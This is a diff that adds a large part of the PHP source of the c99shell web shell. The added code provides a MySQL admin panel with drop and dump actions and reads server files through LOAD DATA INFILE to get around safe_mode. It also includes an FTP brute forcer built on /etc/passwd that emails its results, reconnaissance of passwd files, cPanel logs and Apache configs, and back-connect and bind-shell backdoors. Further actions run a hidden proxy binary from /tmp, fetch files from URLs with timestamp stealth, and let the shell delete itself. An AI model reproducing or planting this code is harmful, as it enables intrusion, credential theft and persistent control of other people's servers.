+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert")
+ {
+ if ($sql_tbl_insert_radio == 1)
+ {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2)
+ {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ if (empty($submit))
+ {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else
+ {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download)
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile)
+ {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q))
+ {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse")
+ {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ echo "[Pages] ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++)
+ {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "";
+ echo "With selected: ";
+ echo "Delete ";
+ echo "
";
+ }
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "";
+ echo "With selected: ";
+ echo "Drop ";
+ echo "Empty ";
+ echo "Dump ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+ }
+ }
+ }
+ }
+ echo "
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected." ";
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo " ";
+ }
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "FTP Brute Forcer: ";
+ if (!win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ if ($fqb_logging)
+ {
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else
+ {
+ $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
+ }
+ }
+}
+if ($act == "d")
+{
+ if (!is_dir($d)) {echo "Permision denied! ";}
+ else
+ {
+ echo "Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+ }
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
+if ($act == "security")
+{
+ echo "Server Information: Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid)
+ {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "encoder")
+{
+ echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+ {
+ echo $v." - ";
+ }
+ echo "Url: urlencode -
+ urldecode -
+ Base64: base64_encode - ";
+ echo "base64_decode - ";
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+ else
+ {
+ $debase64 = base64_decode($encoder_input);
+ $debase64 = str_replace("\0","[0]",$debase64);
+ $a = explode("\r\n",$debase64);
+ $rows = count($a);
+ $debase64 = htmlspecialchars($debase64);
+ if ($rows == 1) {echo " ";}
+ else {$rows++; echo "".$debase64." ";}
+ echo " ";
+ }
+ echo "Base convertations :dec2hex - ";
+}
+if ($act == "backc")
+{
+ $ip = $_SERVER["REMOTE_ADDR"];
+ $msg = $_POST['backcconnmsg'];
+ $emsg = $_POST['backcconnmsge'];
+ echo("Back-Connection: Host: Port: Use: Perl C Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992 ' ");
+ echo("$msg");
+ echo("$emsg");
+}
+
+if ($act == "shbd"){
+$msg = $_POST['backcconnmsg'];
+$emsg = $_POST['backcconnmsge'];
+echo("Bind Shell Backdoor:
+Bind Port:
+
+ ");
+echo("$msg");
+echo("$emsg");
+}
+
+
+if ($act == "proxy") {
+ cf("/tmp/hantu.tgz",$proxy_shit);
+ ex("cd /tmp;tar -zxvf hantu.tgz");
+ ex("cd /tmp;cd .setan;chmod 777 xh");
+ ex("cd /tmp;cd .setan;chmod 777 httpd");
+ ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start");
+ checkproxyhost();
+ $msg = $_POST['proxyhostmsg'];
+ echo("$msg");
+ unlink("/tmp/hantu.tgz");
+ ex("cd /tmp; rm -r .setan");
+}
+
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "search"){
+ echo "Search file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "
+
+File/folder name: - regexp
+Directory:
+Text:
+
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
